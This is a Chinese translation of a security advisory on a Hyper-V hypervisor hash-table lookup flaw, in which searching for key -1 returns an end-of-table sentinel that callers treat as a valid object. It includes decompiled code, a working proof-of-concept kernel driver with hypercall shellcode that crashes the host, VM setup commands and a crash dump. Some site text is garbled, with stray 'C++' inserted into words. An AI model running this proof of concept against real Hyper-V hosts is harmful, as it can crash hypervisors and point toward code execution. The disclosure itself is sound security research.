导航菜单

译文声明
本文是翻译文章,文章原作者Daniel Fernandez Kuehr,文章来源:labs.bluefrostseC++urity.de
原文地址:https://labs.bluefrostsecurity.de/advisories/bfs-sa-2020-003/

译文仅供参考,具体内容表达以及含义原文为准

×

0x00 影响平台
Windows 10.0.18363.418
Hyper-V内核版本18362 x64
早期版本也受影响。

0x01 技术细节
Hyper-V的一些Hyper-Visor组件中使用了一个哈希表的实现,通过在结构体的定义中嵌入一个entry字段,可以把对象链接起来,类似链表的LIST_ENTRY的用法。

entry的结构可定义如下:

struct entry
{
struct entry *next;
unsigned long key;
};
包含entry字段的哈希表对象的key对应的值被初始化为-1,这一项用作遍历表时的结束标志。如果攻击者搜索值-1,查找函数的一个漏洞将导致调用者认为搜索成功,且查找函数会返回这个末尾表项。调用者会认为这是表中的普通有效表项,接着去使用它。

哈希表对象的结构体中的部分字段如下:

桶的数量
元素的数量
指向桶(至多30个)的指针数组
末尾表项entry,其key=-1且next=NULL
指向表头的指针(初始化为末尾表项)
我们关心的字段是哈希表结构中内嵌的末尾表项和表头,从表头出发可以得到表中所有元素。表头初始化为指向末尾表项。

所有元素链接在一起,按key升序排列。桶用来索引表项,以便加速查找时间。

当插入元素或者查找key时,原始key进行如下变换:

key = reverse_bits64(key) | 1
key的最高位丢失了,导致可能出现key碰撞:k' = k ^ (1 << 63)。如果原始key未进行明确比较的话,这可能导致安全问题。一些理论上的攻击情形包括: 用keyk无权访问某个对象,但用keyk'却可以通过检查而进行访问 可以用k'来删除k 预先插入对象k'从而使后续k的插入失败 目前尚未发现这些潜在的问题真正出现,但是使用这种实现时应当加以注意。 桶有自己的表元素和keys,以如下方式产生: >>> def keys(bucket_count):
... return [list(range((1 << x) & ~1, (1 << (x+1)) & ~1)) ... for x in range(0, bucket_count)] 例如有4个桶,那么产生的keys为: >>> keys(4)
[[0, 1], [2, 3], [4, 5, 6, 7], [8, 9, 10, 11, 12, 13, 14, 15]]
这些keys也进行位反转,但不和1进行或操作,保证其在查找时不会和通常的元素keys匹配。

最后是遍历函数,在元素放入表中某部位(由桶索引)后调用遍历函数。此时必须遍历元素来寻找匹配的key。

bool __fastcall fun_traversal(struct entry *list_head, unsigned __int64 key,
volatile signed __int64 **pPrevious, volatile signed __int64 **pCurrent)
{
struct entry *head; // rbx
struct entry *previous; // r10
struct entry *current; // rax
struct entry *_next; // rcx
struct entry *next; // rcx

head = list_head;
LABEL_2:
previous = head;
for ( current = (head->next & 0xFFFFFFFFFFFFFFFEui64); ; current = next )
{
_next = current->next;
*pPrevious = previous;
*pCurrent = current;
if ( !(_next & 1) )
break;
next = (_next & 0xFFFFFFFFFFFFFFFEui64);
if ( current != _InterlockedCompareExchange(previous, next, current) )
goto LABEL_2;
LABEL_7:
;
}
if ( *&current->key < key ) { previous = current; next = (_next & 0xFFFFFFFFFFFFFFFEui64); goto LABEL_7; } return *&current->key == key;
}
该函数遍历给定的表,从head开始,直到找到大于等于key参数的key。参数pPrevious和pCurrent被设为最后访问的表项的地址。如果找到了key,返回true,否则返回false。

进行查找的代码会期望遍历函数在key未找到时返回false,但是如果我们查找的是末尾表项的key(-1)的话,因为-1的二进制位全为1,所以与1或的操作无法保护它,函数将会返回true,而pCurrent则指向末尾表项。

只需搜索key0xffffffffffffffff就可以触发这个问题,碰撞的key0x7fffffffffffffff也会产生此行为。

如上所述,返回的表项类似于LIST_ENTRY字段,所以要计算所对应的对象的基地址,就需要减去字段的偏移:

CONTAINING_RECORD(resulting_base, struct obj_type, entry_field)
因为返回的地址是末尾表项的地址,对其应用CONTAINING_RECORD将会返回哈希表对象内部(或其下方)的任意地址。调用者会认为这是所期望的对象类型,而接着对这个任意指针进行操作。

0x02 影响
该漏洞的影响范围取决于影响着最终的偏移地址的一些条件,漏洞可以潜在导致任意代码执行。

这些条件例如:

调用者的对象大小和entry字段的偏移
发行版/平台间结构体布局的差异

0x03 PoC
以下PoC可触发漏洞,使用了HvFlushGuestPhysicalAddressSpace hypercall,我们认为这是最简单的触发路径。

需要在Windows客户机中加载驱动,且客户机开启嵌套虚拟化,禁用Hyper-V。

主机运行:

Set-VMProcessor -VMName poc_vm -ExposeVirtualizationExtensions $true
客户机运行(需要重启):

bcdedit /set hypervisorlaunchtype off
#include
#include
#include
#include
#include

EXTERN_C_START
DRIVER_INITIALIZE DriverEntry;
EXTERN_C_END

#ifdef ALLOC_PRAGMA
#pragma alloc_text (INIT, DriverEntry)
#endif

#pragma code_seg(push, r1, ".text")
__declspec(allocate(".text")) BYTE trigger[] =
{
0x48, 0x89, 0xC8, // mov rax, rcx hypercall page
0xB9, 0xAF, 0x00, 0x01, 0x00, // mov ecx, 0x100af
0x48, 0xBA, 0xFF, 0xFF, 0xFF, // HvFlushGuestPhysicalAddressSpace
0xFF, 0xFF, 0xFF, 0xFF, 0x7F, // mov rdx,0x7fffffffffffffff GPA
0x4D, 0x31, 0xC0, // xor r8,r8 flags
0xFF, 0xD0 // call rax
};
#pragma code_seg(pop, r1)

typedef void(* TriggerCall)(void *hc_page);

typedef union hv_x64_msr_contents
{
UINT64 as_uint64;
struct
{
UINT64 enable : 1;
UINT64 reserved : 11;
UINT64 guest_physical_address : 52;
} u;
} hv_msr_contents;

#define HV_X64_MSR_GUEST_OS_ID 0x40000000
#define HV_X64_MSR_HYPERCALL 0x40000001
#define HV_X64_MSR_VP_ASSIST_PAGE 0x40000073
#define CR4_VMXE (1 << 13)
#define CPUID_FEAT_ECX_VMX (1 << 5)
#define MSR_IA32_VMX_BASIC 0x480

__declspec(align(0x1000)) UINT32 vmxon_page[1024];
__declspec(align(0x1000)) UINT32 assist_page[1024];

NTSTATUS enable_vmxe(void)
{
int cpuInfo[4];
NTSTATUS status = STATUS_NOT_IMPLEMENTED;

__cpuid(cpuInfo, 1);

if (cpuInfo[2] & CPUID_FEAT_ECX_VMX)
{
UINT64 cr4 = __readcr4();
UINT64 pvmxon_page = MmGetPhysicalAddress(&vmxon_page).QuadPart;

KdPrint(("[+] Virtualization support detected"));

if (!(cr4 & CR4_VMXE))
{
KdPrint(("[+] Enabling VMXE..."));
__writecr4(cr4 | CR4_VMXE);
}

memset(vmxon_page, 0, sizeof(vmxon_page));
vmxon_page[0] = (UINT32) __readmsr(MSR_IA32_VMX_BASIC);
KdPrint(("[+] VMX revision %x", vmxon_page[0]));
KdPrint(("[+] EnteRing monitor mode..."));

if (__vmx_on(&pvmxon_page))
KdPrint(("[-] VMXON failed"));
else
status = STATUS_SUCCESS;
}

return status;
}

NTSTATUS
DriverEntry(
_In_ PDRIVER_OBJECT DriverObject,
_In_ PUNICODE_STRING RegistryPath
)
{
void* hypercall_page;
hv_msr_contents hc_page, assist;
PHYSICAL_ADDRESS pa_hcpage;
NTSTATUS status = enable_vmxe();

if (!NT_SUCCESS(status))
return status;

hc_page.as_uint64 = __readmsr(HV_X64_MSR_HYPERCALL);
pa_hcpage.QuadPart = hc_page.u.guest_physical_address << PAGE_SHIFT; hypercall_page = MmMapIoSpace(pa_hcpage, PAGE_SIZE, MmNonCached); memset(&assist_page, 0, sizeof(assist_page)); assist.as_uint64 = MmGetPhysicalAddress(&assist_page).QuadPart; assist.u.enable = 1; __writemsr(HV_X64_MSR_VP_ASSIST_PAGE, assist.as_uint64); ((TriggerCall)trigger)(hypercall_page); // Boom return status; } PoC中,基址计算的结果是对哈希表对象的桶数的偏移,应返回的对象第一个字段是传给下一个函数的指针。函数得到的是0x10(桶数),然后对其解引用导致系统崩溃。 Access violation - code c0000005 (!!! second chance !!!) hv+0x30548c: fffffbf3`a090548c 488b01 mov rax,qword ptr [rcx] 3: kd> r rcx
rcx=0000000000000010
3: kd> kb
# RetAddr : Args to
Child : Call Site
00 fffffbf3`a0904cce : ffffe802`c5604190 ffffe802`c56048c0
00000000`00000003 ffffe802`c5608050 : hv+0x30548c
01 fffffbf3`a09026f3 : ffffe802`c5604050 fffffbf3`a1201068
00000000`00000001 fffffbf3`a090f7e9 : hv+0x304cce
02 fffffbf3`a08b6363 : 00000000`00000010 ffff9d86`d2a8f7b8
00000000`00000000 00000000`00000000 : hv+0x3026f3
03 fffffbf3`a0829068 : 00000000`00000000 00000000`00000002
00000000`00000000 fffffbf3`a082ea1e : hv+0x2b6363
04 fffffbf3`a0828cf2 : 00000000`00000000 fffffbf3`a08255c1
ffffe802`c5608050 fffffbf3`a081d842 : hv+0x229068
05 fffffbf3`a081e1de : 00000000`00000000 00000000`0010003a
00000000`0010003a 00000000`000100af : hv+0x228cf2
06 fffffbf3`a08734f6 : 00000000`00000000 ffffe802`c5608000
00000000`800000ff 00000000`00000001 : hv+0x21e1de
07 00000000`00000000 : 00000000`00000000 00000000`00000000
00000000`00000000 00000000`00000000 : hv+0x2734f6

0x04 时间线
2020-06-02:漏洞报告发送至secure@microsoft.com
2020-07-21:微软确认奖金15000美元
2020-09-08:微软发布补丁

本文翻译自 labs.bluefrostsecurity.de, 原文链接 。如若转载请注明出处。

相关推荐

隐藏在Chrome中的窃密者

  简介 CVE-2019-5826是Google C++hrome里IndexedDB中的Use-after-free漏洞,在版本73.0.3683.86之前该漏洞允许攻击者通过搭配render的RCE漏洞来造成UAF并沙箱逃逸。   一、环境搭建 笔者所使用的chrom...

CVE-2020-24407/24400:Adobe Magento 远程代码执行漏洞通告

  0x01 漏洞简述 2020年10月19日,360C++ERT监测发现 Adobe 发布了 Magento Commerce/Open Source 代码执行漏洞 的风险通告,该漏洞编号为 CVE-2020-24407 & CVE-2020-24400 ,漏洞等级: 高危 ,漏洞评...